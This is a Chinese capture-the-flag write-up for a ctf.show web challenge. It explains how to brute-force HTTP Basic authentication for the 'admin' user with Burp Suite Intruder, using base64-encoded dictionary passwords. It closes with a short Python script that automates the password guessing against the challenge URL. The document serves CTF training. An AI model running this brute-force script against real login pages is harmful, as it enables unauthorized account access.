根据提示
爆破什么的,都是基操
进去弹出表单,要求输入账号密码
通过bp抓包得到,发现Authorization 后面的是base64加密的字段
解密得到 用户名:密码
对admin:进行加密
用bp把请求数据包发送到Intruder模块,构造payload(第一个$前面的是admin:的base64加密)
加载题目给的字典(zip文件重命名1.zip,可以得到字典的txt文件),然后添加规则,将payload进行base64加密,并且把下方的url加密的勾去掉,开始爆破
由于题库对请求速度做了限制,线程最高只能开到5,速度很慢,要耐心等待,找到长度不一样的,查看响应包,拿到flag
附上脚本
import requests
import time
import base64
url="http://5449841b-f207-4dfc-945f-45fa5dac968d.challenge.ctf.show/"
def bp(line):
s=requests.session()
header={
'Authorization':'Basic YWRtaW46{}'.format(base64.b64encode(line.encode('utf-8')).decode('utf-8'))
}
res=s.get(url,headers=header)
return res.text
with open("最新网站后台密码破解字典.txt") as q:
passlist=q.readlines()
q.close
for line in passlist:
line=line.strip("\n")
time.sleep(0.2)
print(line)
if "需要用户名和密码才能继续访问" not in bp(line):
print("password is {}".format(line))
break